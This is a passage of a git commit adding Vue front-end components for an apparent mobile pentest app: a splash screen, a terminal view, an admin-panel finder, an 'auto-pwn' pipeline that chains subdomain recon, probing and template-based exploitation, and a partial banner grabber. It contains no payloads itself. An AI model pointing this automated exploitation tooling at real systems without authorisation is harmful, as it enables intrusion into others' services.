This commit is contained in:
taqin
2026-04-19 21:10:40 +07:00
parent 5fdd214fdc
commit 27381d4e37
211 changed files with 53571 additions and 0 deletions

53
src/components/Prompt.vue Normal file
View File

@@ -0,0 +1,53 @@
<script setup lang="ts">
defineProps<{ label: string; modelValue: string; placeholder?: string }>();
defineEmits<{ (e: "update:modelValue", v: string): void }>();
</script>
<template>
<label class="prompt">
<span class="plabel">{{ label }}</span>
<span class="parrow">»</span>
<input
:value="modelValue"
:placeholder="placeholder"
spellcheck="false"
autocomplete="off"
autocapitalize="off"
@input="$emit('update:modelValue', ($event.target as HTMLInputElement).value)"
/>
</label>
</template>
<style scoped>
.prompt {
display: flex;
align-items: center;
gap: 6px;
border: 1px solid var(--border);
padding: 6px 8px;
background: var(--bg-panel);
transition: border-color 0.15s;
}
.prompt:focus-within {
border-color: var(--accent);
}
.plabel {
color: var(--accent);
font-weight: 500;
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.1em;
min-width: 72px;
}
.parrow {
color: var(--fg-dim);
}
input {
flex: 1;
color: var(--fg);
min-width: 0;
}
input::placeholder {
color: var(--fg-ghost);
}
</style>

View File

@@ -0,0 +1,375 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
const emit = defineEmits<{ (e: "done"): void }>();
interface BootLine { text: string; ok: boolean; }
const boot = ref<BootLine[]>([]);
const progress = ref(0);
const done = ref(false);
const fadeOut = ref(false);
const steps: { text: string; delay: number }[] = [
{ text: "loading kernel modules...", delay: 420 },
{ text: "mounting /data/pentester...", delay: 380 },
{ text: "init: async runtime (tokio rt-multi-thread)", delay: 360 },
{ text: "init: rustls tls stack + webpki roots", delay: 340 },
{ text: "init: hickory-dns resolver (cloudflare)", delay: 340 },
{ text: "recon: port-scan // subdomain // http-probe", delay: 360 },
{ text: "exploit: takeover // sqli // xss // jwt", delay: 360 },
{ text: "exploit: xploiter engine — 13 bundled templates", delay: 380 },
{ text: "exploit: auto-pwn pipeline armed", delay: 340 },
{ text: "exploit: admin-finder // form-brute // dir-fuzz", delay: 360 },
{ text: "manual: repeater (burp-lite) ready", delay: 320 },
{ text: "wifi: lan-map // mdns // ssdp", delay: 320 },
{ text: "utility: payload-gen 50+ shells loaded", delay: 320 },
{ text: "xploiter: compiling regex matchers...", delay: 300 },
{ text: "network: dns // ssl-scan // banner-grab", delay: 320 },
{ text: "utility: encoder // hash-tools", delay: 300 },
{ text: "arsenal armed. 20 modules online.", delay: 480 },
];
let timers: number[] = [];
function push(text: string, ok = true) {
boot.value.push({ text, ok });
progress.value = Math.min(100, (boot.value.length / steps.length) * 100);
}
onMounted(() => {
let elapsed = 0;
steps.forEach((s) => {
elapsed += s.delay;
timers.push(window.setTimeout(() => push(s.text), elapsed));
});
timers.push(window.setTimeout(() => {
done.value = true;
}, elapsed + 300));
// hold on "tap to enter" for a while before auto-advancing
timers.push(window.setTimeout(() => {
fadeOut.value = true;
}, elapsed + 4500));
timers.push(window.setTimeout(() => {
emit("done");
}, elapsed + 4900));
});
function skip() {
// finish everything instantly and fade
timers.forEach((t) => clearTimeout(t));
timers = [];
for (const s of steps) {
if (!boot.value.find((b) => b.text === s.text)) boot.value.push({ text: s.text, ok: true });
}
progress.value = 100;
done.value = true;
fadeOut.value = true;
setTimeout(() => emit("done"), 300);
}
onUnmounted(() => { timers.forEach((t) => clearTimeout(t)); });
</script>
<template>
<div class="splash" :class="{ fade: fadeOut }" @click="skip">
<div class="scanlines" />
<div class="glitch-line" />
<div class="frame">
<!-- top ASCII frame -->
<div class="ascii-top">
<span class="corner"></span>
<span class="line"></span>
<span class="tag">[ SYSTEM BOOT ]</span>
<span class="line"></span>
<span class="corner"></span>
</div>
<!-- tegal logo (main brand) -->
<div class="brand-row">
<img src="/tegalsec.png" alt="Tegal 1337" class="brand-main" />
</div>
<!-- product title -->
<div class="product">
<div class="product-name">
<span class="p-brk"></span>
<span class="p-main">POCKETPENTESTER</span>
<span class="p-brk"></span>
</div>
<div class="product-sub">
offensive toolkit <span class="dot-sep">·</span> v0.1.0
</div>
</div>
<!-- boot log -->
<div class="boot-log">
<div class="boot-head">
<span class="b-prompt">root@pocket:~$</span>
<span class="b-cmd">./init --arm</span>
<span class="cursor" v-if="!done"></span>
</div>
<div class="boot-lines">
<div v-for="(l, i) in boot" :key="i" class="boot-line">
<span class="b-mark" :class="{ ok: l.ok }">{{ l.ok ? "[✓]" : "[x]" }}</span>
<span class="b-text">{{ l.text }}</span>
</div>
<div v-if="!done && boot.length < steps.length" class="boot-line pending">
<span class="b-mark">[..]</span>
<span class="b-text">{{ steps[boot.length]?.text ?? "" }}<span class="cursor"></span></span>
</div>
</div>
</div>
<!-- progress bar -->
<div class="prog">
<div class="prog-bar">
<div class="prog-fill" :style="{ width: progress + '%' }" />
</div>
<div class="prog-text">{{ Math.round(progress) }}%</div>
</div>
<!-- created by -->
<div class="powered">
<span class="pb-label">created by</span>
<img src="/imtaqin.png" alt="imtaqin" class="pb-logo pb-imt" />
</div>
<!-- bottom -->
<div class="ascii-bottom">
<span class="corner"></span>
<span class="line"></span>
<span class="tag" v-if="done">[ tap to enter ]</span>
<span class="tag" v-else>[ initializing ]</span>
<span class="line"></span>
<span class="corner"></span>
</div>
</div>
</div>
</template>
<style scoped>
.splash {
position: fixed;
inset: 0;
background:
radial-gradient(ellipse at top, rgba(255, 47, 74, 0.08), transparent 55%),
radial-gradient(ellipse at bottom, rgba(0, 200, 150, 0.03), transparent 60%),
var(--bg);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
overflow: hidden;
cursor: pointer;
transition: opacity 0.4s ease-out;
padding: env(safe-area-inset-top) env(safe-area-inset-right) env(safe-area-inset-bottom) env(safe-area-inset-left);
}
.splash.fade { opacity: 0; pointer-events: none; }
.scanlines {
position: absolute;
inset: 0;
background: repeating-linear-gradient(
0deg,
rgba(255, 255, 255, 0.02) 0px,
rgba(255, 255, 255, 0.02) 1px,
transparent 1px,
transparent 3px
);
pointer-events: none;
}
.glitch-line {
position: absolute;
left: 0;
right: 0;
height: 2px;
background: linear-gradient(90deg, transparent, var(--alert), transparent);
opacity: 0.6;
animation: glitch 4s linear infinite;
pointer-events: none;
top: 0;
}
@keyframes glitch {
0% { top: 0%; opacity: 0; }
10% { opacity: 0.6; }
50% { top: 100%; opacity: 0.6; }
60% { opacity: 0; }
100% { top: 100%; opacity: 0; }
}
.frame {
width: min(520px, 95vw);
display: flex;
flex-direction: column;
gap: 14px;
padding: 20px 24px;
border: 1px solid var(--border-hot);
background: rgba(7, 7, 7, 0.85);
backdrop-filter: blur(2px);
box-shadow: 0 0 60px rgba(255, 47, 74, 0.12);
position: relative;
}
.ascii-top, .ascii-bottom {
display: flex;
align-items: center;
gap: 4px;
font-size: 10px;
color: var(--fg-dim);
letter-spacing: 0.05em;
}
.ascii-top .corner, .ascii-bottom .corner { color: var(--alert); font-size: 14px; }
.ascii-top .line, .ascii-bottom .line {
flex: 1;
height: 1px;
background: linear-gradient(90deg, var(--alert), var(--border-hot));
opacity: 0.5;
}
.ascii-bottom .line { background: linear-gradient(90deg, var(--border-hot), var(--alert)); }
.ascii-top .tag, .ascii-bottom .tag {
padding: 0 8px;
color: var(--alert);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.2em;
}
.brand-row {
display: flex;
justify-content: center;
padding: 4px 0;
}
.brand-main {
max-width: 180px;
width: 60%;
height: auto;
filter: drop-shadow(0 0 18px rgba(92, 217, 130, 0.35));
animation: brand-in 0.7s ease-out;
}
@keyframes brand-in {
0% { opacity: 0; transform: translateY(-10px); }
100% { opacity: 1; transform: translateY(0); }
}
.product {
text-align: center;
padding: 4px 0;
border-top: 1px dashed var(--border-hot);
border-bottom: 1px dashed var(--border-hot);
}
.product-name {
font-size: 18px;
font-weight: 700;
letter-spacing: 0.08em;
color: var(--fg);
}
.product-name .p-brk { color: var(--alert); font-weight: 400; }
.product-name .p-main { padding: 0 6px; }
.product-name .p-p { color: var(--alert); }
.product-sub {
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.15em;
margin-top: 4px;
}
.product-sub .dot-sep { color: var(--fg-ghost); padding: 0 4px; }
.boot-log {
background: var(--bg);
border: 1px solid var(--border);
padding: 8px 10px;
min-height: 130px;
font-size: 11px;
display: flex;
flex-direction: column;
gap: 3px;
}
.boot-head {
display: flex;
gap: 4px;
border-bottom: 1px solid var(--border);
padding-bottom: 4px;
margin-bottom: 4px;
}
.b-prompt { color: var(--alert); }
.b-cmd { color: var(--info); }
.cursor { color: var(--accent); animation: blink 1s steps(2) infinite; display: inline-block; margin-left: 2px; }
@keyframes blink { 50% { opacity: 0; } }
.boot-lines { display: flex; flex-direction: column; gap: 2px; }
.boot-line {
display: flex;
gap: 6px;
align-items: baseline;
animation: line-in 0.18s ease-out;
}
@keyframes line-in {
0% { opacity: 0; transform: translateX(-4px); }
100% { opacity: 1; transform: translateX(0); }
}
.b-mark { color: var(--fg-ghost); flex-shrink: 0; }
.b-mark.ok { color: var(--valid); }
.boot-line.pending .b-mark { color: var(--warn); }
.boot-line.pending .b-text { color: var(--fg-dim); }
.b-text { color: var(--fg); }
.prog {
display: flex;
gap: 8px;
align-items: center;
}
.prog-bar {
flex: 1;
height: 4px;
background: var(--bg);
border: 1px solid var(--border);
overflow: hidden;
}
.prog-fill {
height: 100%;
background: linear-gradient(90deg, var(--accent-dim), var(--alert));
transition: width 0.2s ease-out;
box-shadow: 0 0 10px rgba(255, 47, 74, 0.5);
}
.prog-text {
color: var(--alert);
font-size: 10px;
font-weight: 700;
letter-spacing: 0.1em;
font-variant-numeric: tabular-nums;
min-width: 34px;
text-align: right;
}
.powered {
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
padding: 4px 0;
}
.pb-label {
font-size: 9px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.2em;
}
.pb-logo {
height: 22px;
width: auto;
animation: brand-in 0.8s ease-out;
}
.pb-imt {
filter: drop-shadow(0 0 6px rgba(255, 47, 74, 0.3));
}
@media (max-width: 420px) {
.frame { padding: 14px 16px; gap: 10px; }
.brand-main { max-width: 140px; width: 55%; }
.pb-logo { height: 18px; }
.product-name { font-size: 15px; }
.boot-log { min-height: 110px; }
}
</style>

135
src/components/Terminal.vue Normal file
View File

@@ -0,0 +1,135 @@
<script setup lang="ts">
import { nextTick, ref, watch } from "vue";
import type { LogLine } from "../composables/useTerminal";
const props = defineProps<{ lines: LogLine[]; title?: string }>();
const emit = defineEmits<{ (e: "clear"): void }>();
const box = ref<HTMLDivElement | null>(null);
watch(
() => props.lines.length,
async () => {
await nextTick();
if (box.value) box.value.scrollTop = box.value.scrollHeight;
}
);
function prefix(level: LogLine["level"]) {
switch (level) {
case "hit": return "[+]";
case "valid": return "[✓]";
case "ok": return "[*]";
case "warn": return "[!]";
case "err": return "[x]";
case "dim": return "[ ]";
default: return "[i]";
}
}
</script>
<template>
<div class="term">
<div class="term-head">
<span class="term-title">{{ title ?? "output" }}</span>
<span class="term-controls">
<span class="dot d-red" />
<span class="dot d-yellow" />
<span class="dot d-live" />
</span>
<button class="term-clear" @click="emit('clear')">clear</button>
</div>
<div class="term-body" ref="box">
<div v-if="lines.length === 0" class="term-empty">
<span class="cursor"></span> awaiting input...
</div>
<div
v-for="(l, i) in lines"
:key="i"
class="term-line"
:class="`lvl-${l.level}`"
>
<span class="ts">{{ l.ts }}</span>
<span class="pre">{{ prefix(l.level) }}</span>
<span class="msg">{{ l.text }}</span>
</div>
</div>
</div>
</template>
<style scoped>
.term {
background: var(--bg-panel);
border: 1px solid var(--border);
display: flex;
flex-direction: column;
height: 100%;
min-height: 180px;
}
.term-head {
display: flex;
align-items: center;
gap: 8px;
padding: 4px 8px;
border-bottom: 1px solid var(--border);
background: var(--bg-elev);
font-size: 11px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
}
.term-title { flex: 1; }
.term-controls { display: flex; gap: 4px; }
.dot {
width: 8px;
height: 8px;
border-radius: 0;
background: var(--fg-ghost);
}
.d-red { background: var(--alert); }
.d-yellow { background: var(--warn); }
.d-live { background: var(--accent); }
.term-clear {
color: var(--fg-dim);
font-size: 11px;
text-transform: uppercase;
letter-spacing: 0.1em;
padding: 2px 6px;
border: 1px solid var(--border);
}
.term-clear:hover {
color: var(--accent);
border-color: var(--accent);
}
.term-body {
flex: 1;
overflow-y: auto;
padding: 8px 10px;
font-size: 12px;
}
.term-empty {
color: var(--fg-ghost);
font-style: italic;
}
.cursor {
color: var(--accent);
animation: blink 1s steps(2) infinite;
}
@keyframes blink { 50% { opacity: 0; } }
.term-line {
white-space: pre-wrap;
word-break: break-all;
}
.ts { color: var(--fg-ghost); margin-right: 8px; }
.pre { margin-right: 6px; }
.lvl-hit .pre { color: var(--alert); }
.lvl-hit .msg { color: var(--alert); }
.lvl-valid .pre { color: var(--valid); }
.lvl-valid .msg { color: var(--valid); }
.lvl-ok .pre { color: var(--info); }
.lvl-ok .msg { color: var(--fg); }
.lvl-warn .pre, .lvl-warn .msg { color: var(--warn); }
.lvl-err .pre, .lvl-err .msg { color: var(--alert); }
.lvl-dim .pre, .lvl-dim .msg { color: var(--fg-dim); }
.lvl-info .pre { color: var(--fg-dim); }
</style>

View File

@@ -0,0 +1,135 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface AdminHit {
url: string;
status: number;
size: number;
title?: string;
platform?: string;
login_form: boolean;
auth_header?: string;
redirect?: string;
}
const baseUrl = ref("https://example.com");
const useBuiltin = ref(true);
const extraPaths = ref("");
const acceptStatusStr = ref("200,301,302,401,403");
const concurrency = ref(40);
const timeoutMs = ref(5000);
const followRedirects = ref(false);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const hits = ref<AdminHit[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
const builtinCount = ref(0);
async function loadCount() {
try {
const list: string[] = await invoke("admin_finder_wordlist");
builtinCount.value = list.length;
} catch {}
}
async function run() {
if (running.value) return;
running.value = true;
hits.value = [];
progress.value = { done: 0, total: 0 };
log.clear();
const extras = extraPaths.value.split(/[\s\n,]+/).map(s => s.trim()).filter(Boolean);
const statuses = acceptStatusStr.value.split(/[,\s]+/).map(s => parseInt(s, 10)).filter(n => !isNaN(n));
log.info(`target: ${baseUrl.value}`);
log.info(`paths: builtin=${useBuiltin.value ? builtinCount.value : 0} + ${extras.length} extra`);
unlistens.push(await listen<string>("adminfind:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("adminfind:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<AdminHit>("adminfind:hit", (e) => {
const h = e.payload;
hits.value.push(h);
const flags: string[] = [];
if (h.login_form) flags.push("LOGIN");
if (h.auth_header) flags.push("AUTH");
if (h.platform) flags.push(h.platform);
const flagStr = flags.length ? `[${flags.join("|")}]` : "";
const line = `${String(h.status).padEnd(4)} ${h.url} ${flagStr}${h.title ? ` "${h.title.slice(0, 50)}"` : ""}`;
if (h.login_form || h.auth_header) log.hit(line);
else log.valid(line);
}));
try {
await invoke("admin_finder_run", {
req: {
base_url: baseUrl.value.trim(),
extra_paths: extras,
use_builtin: useBuiltin.value,
accept_status: statuses,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
},
});
const logins = hits.value.filter(h => h.login_form || h.auth_header).length;
log.ok(`done: ${hits.value.length} responses, ${logins} login panel(s) found`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadCount);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="target" v-model="baseUrl" placeholder="https://target.com" />
<div class="row">
<label class="mini wide"><span>status</span><input v-model="acceptStatusStr" placeholder="200,301,302,401,403" /></label>
</div>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="useBuiltin" /><span>builtin ({{ builtinCount }})</span></label>
<label class="toggle"><input type="checkbox" v-model="followRedirects" /><span>follow</span></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="200" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="500" max="30000" /></label>
</div>
<details class="adv">
<summary>extra paths (optional)</summary>
<textarea class="term-input" v-model="extraPaths" rows="3" spellcheck="false" placeholder="one path per line, e.g. panel/admin, custom-admin-path" />
</details>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ probing... ]" : "> find admin" }}</button>
<div v-if="progress.total" class="bar">
<div class="bar-fill" :style="{ width: (progress.done / progress.total) * 100 + '%' }" />
<span class="bar-text">{{ progress.done }} / {{ progress.total }}</span>
</div>
</div>
<Terminal :lines="log.lines.value" title="admin-finder // panel discovery" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
</style>

View File

@@ -0,0 +1,364 @@
<script setup lang="ts">
import { computed, onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface TemplateRef {
filename: string;
path: string;
id: string;
name: string;
severity: string;
tags: string[];
builtin: boolean;
}
interface StageState {
status: "idle" | "running" | "done";
done: number;
total: number;
hits: number;
}
const domain = ref("example.com");
const usePassive = ref(true);
const bruteList = ref("www,api,dev,staging,admin,mail,app,portal,vpn,test,beta,m,shop,blog,docs,git,jenkins,jira,grafana,prometheus,sso,auth,login,dashboard,internal");
const ports = ref("80,443,8080,8443");
const concurrency = ref(30);
const timeoutMs = ref(8000);
const templates = ref<TemplateRef[]>([]);
const selectedTpls = ref<Set<string>>(new Set());
const sevCritical = ref(true);
const sevHigh = ref(true);
const sevMedium = ref(true);
const sevLow = ref(false);
const sevInfo = ref(false);
const running = ref(false);
const recon = ref<StageState>({ status: "idle", done: 0, total: 0, hits: 0 });
const probe = ref<StageState>({ status: "idle", done: 0, total: 0, hits: 0 });
const exploit = ref<StageState>({ status: "idle", done: 0, total: 0, hits: 0 });
const currentStage = ref<string>("");
const foundFindings = ref<any[]>([]);
const criticalCount = computed(() => foundFindings.value.filter(f => f.severity === "critical").length);
const highCount = computed(() => foundFindings.value.filter(f => f.severity === "high").length);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
const selectedSevs = computed(() => {
const out: string[] = [];
if (sevCritical.value) out.push("critical");
if (sevHigh.value) out.push("high");
if (sevMedium.value) out.push("medium");
if (sevLow.value) out.push("low");
if (sevInfo.value) out.push("info");
return out;
});
async function loadTemplates() {
try {
await invoke("xploit_store_init");
templates.value = await invoke("xploit_store_list", {
severity: selectedSevs.value,
tag: null,
query: null,
});
// auto-arm all matching templates
selectedTpls.value = new Set(templates.value.map(t => t.path));
} catch (e: any) {
log.err(`template load: ${e}`);
}
}
function reset() {
recon.value = { status: "idle", done: 0, total: 0, hits: 0 };
probe.value = { status: "idle", done: 0, total: 0, hits: 0 };
exploit.value = { status: "idle", done: 0, total: 0, hits: 0 };
foundFindings.value = [];
currentStage.value = "";
}
async function go() {
if (running.value) return;
if (!domain.value.trim()) { log.err("enter a domain"); return; }
if (!selectedTpls.value.size) { log.warn("no templates armed — recon + probe only"); }
running.value = true;
reset();
log.clear();
log.info(`target: ${domain.value}`);
log.info(`passive: ${usePassive.value ? "crt.sh" : "off"} | brute: ${bruteList.value.split(",").length} words | templates: ${selectedTpls.value.size}`);
// collect selected template YAMLs
const paths = Array.from(selectedTpls.value);
const yamls: string[] = [];
for (const p of paths) {
try { yamls.push(await invoke<string>("xploit_store_read", { path: p })); }
catch { /* skip */ }
}
const brute = bruteList.value.split(/[\s,\n]+/).map(s => s.trim()).filter(Boolean);
const probe_ports = ports.value.split(/[\s,]+/).map(s => parseInt(s, 10)).filter(n => !isNaN(n));
// listeners
unlistens.push(await listen<string>("autopwn:stage", (e) => {
currentStage.value = String(e.payload);
const stage = currentStage.value.split(":")[0];
if (stage === "recon") recon.value.status = "running";
else if (stage === "probe") probe.value.status = "running";
else if (stage === "exploit") exploit.value.status = "running";
log.dim(`► stage: ${currentStage.value}`);
}));
unlistens.push(await listen<string>("autopwn:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<any>("autopwn:progress", (e) => {
const p = e.payload;
if (p.stage === "recon") { recon.value.done = p.done; recon.value.total = p.total; }
else if (p.stage === "probe") { probe.value.done = p.done; probe.value.total = p.total; }
else if (p.stage === "exploit") { exploit.value.done = p.done; exploit.value.total = p.total; }
}));
unlistens.push(await listen<any>("autopwn:sub", (e) => {
recon.value.hits++;
const p = e.payload;
log.valid(`sub: ${p.host.padEnd(40)}${p.ips.join(",")} [${p.source}]`);
}));
unlistens.push(await listen<any>("autopwn:alive", (e) => {
probe.value.hits++;
const p = e.payload;
log.valid(`alive: ${p.status} ${p.url}${p.title ? ` "${p.title.slice(0, 40)}"` : ""}${p.server ? ` [${p.server}]` : ""}`);
}));
unlistens.push(await listen<any>("autopwn:xpl:hit", (e) => {
exploit.value.hits++;
const f = e.payload;
foundFindings.value.push(f);
const sev = (f.severity || "info").toLowerCase();
const extras = [f.cve_id, f.cvss ? `cvss:${f.cvss}` : null].filter(Boolean).join(" ");
const msg = `PWN [${sev.toUpperCase()}] ${f.template_id} :: ${f.matched_url} (${f.status})${extras ? ` [${extras}]` : ""}`;
if (["critical", "high"].includes(sev)) log.hit(msg);
else if (sev === "medium") log.warn(msg);
else log.ok(msg);
}));
unlistens.push(await listen<any>("autopwn:stage-done", (e) => {
const p = e.payload;
if (p.stage === "recon") recon.value.status = "done";
else if (p.stage === "probe") probe.value.status = "done";
else if (p.stage === "exploit") exploit.value.status = "done";
log.dim(`✓ stage ${p.stage} done: ${p.count}`);
}));
try {
const report: any = await invoke("autopwn_run", {
req: {
domain: domain.value.trim(),
use_passive: usePassive.value,
brute_wordlist: brute,
templates_yaml: yamls,
probe_ports: probe_ports.length ? probe_ports : null,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
},
});
log.ok(`pwn complete: ${report.subdomains.length} subs, ${report.alive.length} alive, ${report.findings.length} findings`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onMounted(loadTemplates);
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="target" v-model="domain" placeholder="example.com (root domain only)" />
<div class="row">
<label class="mini wide"><span>ports</span><input v-model="ports" placeholder="80,443,8080,8443" /></label>
</div>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="usePassive" /><span>passive crt.sh</span></label>
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="200" /></label>
</div>
<div class="row">
<label class="mini"><span>timeout ms</span><input v-model.number="timeoutMs" type="number" min="1000" max="30000" /></label>
</div>
<details class="adv">
<summary>advanced · brute wordlist + template filter</summary>
<label class="ta">
<span class="lbl">dns brute wordlist</span>
<textarea class="term-input" v-model="bruteList" rows="2" spellcheck="false" />
</label>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="sevCritical" @change="loadTemplates" /><span>critical</span></label>
<label class="toggle"><input type="checkbox" v-model="sevHigh" @change="loadTemplates" /><span>high</span></label>
<label class="toggle"><input type="checkbox" v-model="sevMedium" @change="loadTemplates" /><span>medium</span></label>
<label class="toggle"><input type="checkbox" v-model="sevLow" @change="loadTemplates" /><span>low</span></label>
<label class="toggle"><input type="checkbox" v-model="sevInfo" @change="loadTemplates" /><span>info</span></label>
</div>
<div class="tpl-count">
{{ selectedTpls.size }} / {{ templates.length }} templates armed
<button class="btn-ghost" @click="loadTemplates">reload</button>
</div>
</details>
<button class="exec big" :disabled="running" @click="go">
{{ running ? "[ pwning... ]" : " AUTO-PWN" }}
</button>
</div>
<!-- stage tracker compact single row -->
<div class="stages-bar">
<div class="sb-cell" :class="recon.status">
<span class="sb-n">01</span>
<span class="sb-name">recon</span>
<span class="sb-hits">{{ recon.hits }}</span>
<span class="sb-sub">subs</span>
<div class="sb-fill" :style="{ width: recon.total ? (recon.done/recon.total)*100+'%' : '0%' }" />
</div>
<div class="sb-cell" :class="probe.status">
<span class="sb-n">02</span>
<span class="sb-name">probe</span>
<span class="sb-hits">{{ probe.hits }}</span>
<span class="sb-sub">alive</span>
<div class="sb-fill" :style="{ width: probe.total ? (probe.done/probe.total)*100+'%' : '0%' }" />
</div>
<div class="sb-cell" :class="exploit.status">
<span class="sb-n">03</span>
<span class="sb-name">exploit</span>
<span class="sb-hits danger">{{ exploit.hits }}</span>
<span class="sb-sub">pwn</span>
<div class="sb-fill hot" :style="{ width: exploit.total ? (exploit.done/exploit.total)*100+'%' : '0%' }" />
</div>
</div>
<!-- finding summary -->
<div v-if="foundFindings.length" class="summary">
<span class="sum-head">findings</span>
<span v-if="criticalCount" class="sev sev-critical">{{ criticalCount }} critical</span>
<span v-if="highCount" class="sev sev-high">{{ highCount }} high</span>
<span class="sum-total">{{ foundFindings.length }} total</span>
</div>
<Terminal :lines="log.lines.value" title="auto-pwn // pipeline output" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv {
border: 1px solid var(--border);
background: var(--bg-panel);
padding: 4px 8px;
}
.adv summary {
cursor: pointer;
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
padding: 4px 0;
}
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.tpl-count {
display: flex;
justify-content: space-between;
align-items: center;
font-size: 11px;
color: var(--fg-dim);
}
.exec.big {
flex: 0 0 auto;
width: 100%;
min-width: 0;
height: auto;
padding: 8px 12px;
font-size: 12px;
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
}
.stages-bar {
display: flex;
background: var(--bg-panel);
border: 1px solid var(--border);
flex-shrink: 0;
}
.sb-cell {
position: relative;
flex: 1;
display: flex;
align-items: center;
gap: 5px;
padding: 5px 8px;
border-right: 1px solid var(--border);
font-size: 10px;
color: var(--fg-dim);
overflow: hidden;
text-transform: uppercase;
letter-spacing: 0.08em;
min-width: 0;
}
.sb-cell:last-child { border-right: none; }
.sb-cell.running { color: var(--fg); }
.sb-cell.done { color: var(--accent); }
.sb-n { color: var(--fg-ghost); font-size: 9px; flex-shrink: 0; }
.sb-name { flex: 1; color: inherit; font-weight: 700; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
.sb-hits { color: var(--valid); font-weight: 700; font-size: 11px; font-variant-numeric: tabular-nums; }
.sb-hits.danger { color: var(--alert); }
.sb-sub { color: var(--fg-ghost); font-size: 9px; flex-shrink: 0; }
.sb-fill {
position: absolute;
bottom: 0;
left: 0;
height: 2px;
background: linear-gradient(90deg, var(--accent-dim), var(--accent));
transition: width 0.15s;
}
.sb-fill.hot { background: linear-gradient(90deg, #a82020, var(--alert)); }
.summary {
display: flex;
gap: 6px;
align-items: center;
padding: 3px 8px;
background: var(--bg-panel);
border: 1px solid var(--border);
font-size: 10px;
flex-wrap: wrap;
flex-shrink: 0;
}
.sum-head {
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.1em;
font-size: 10px;
margin-right: 4px;
}
.sum-total {
margin-left: auto;
color: var(--fg-dim);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.1em;
}
@media (max-width: 520px) {
.stages { grid-template-columns: 1fr; }
}
</style>

View File

@@ -0,0 +1,127 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Prompt from "../Prompt.vue";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
interface Hit {
port: number;
banner: string;
service: string;
version?: string;
bytes: number;
}
const host = ref("scanme.nmap.org");
const portSpec = ref("21,22,23,25,80,110,143,443,445,465,587,993,995,1433,3306,3389,5432,5900,6379,8080,8443,9200,27017");
const concurrency = ref(30);
const timeoutMs = ref(4000);
const running = ref(false);
const hits = ref<Hit[]>([]);
const progress = ref({ done: 0, total: 0 });
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
function parsePorts(s: string): number[] {
const out = new Set<number>();
for (const p of s.split(/[,\s]+/)) {
const t = p.trim();
if (t.includes("-")) {
const [a, b] = t.split("-").map(x => parseInt(x, 10));
if (!isNaN(a) && !isNaN(b)) for (let i = a; i <= b; i++) out.add(i);
} else {
const n = parseInt(t, 10);
if (!isNaN(n)) out.add(n);
}
}
return Array.from(out);
}
async function run() {
if (running.value) return;
running.value = true;
hits.value = [];
progress.value = { done: 0, total: 0 };
log.clear();
const ports = parsePorts(portSpec.value);
if (!ports.length) { log.err("no ports"); running.value = false; return; }
unlistens.push(await listen<string>("banner:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("banner:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<Hit>("banner:hit", (e) => {
const h = e.payload;
hits.value.push(h);
const ver = h.version ? ` :: ${h.version}` : "";
log.valid(`${String(h.port).padEnd(5)} [${h.service.padEnd(12)}]${ver}`);
}));
try {
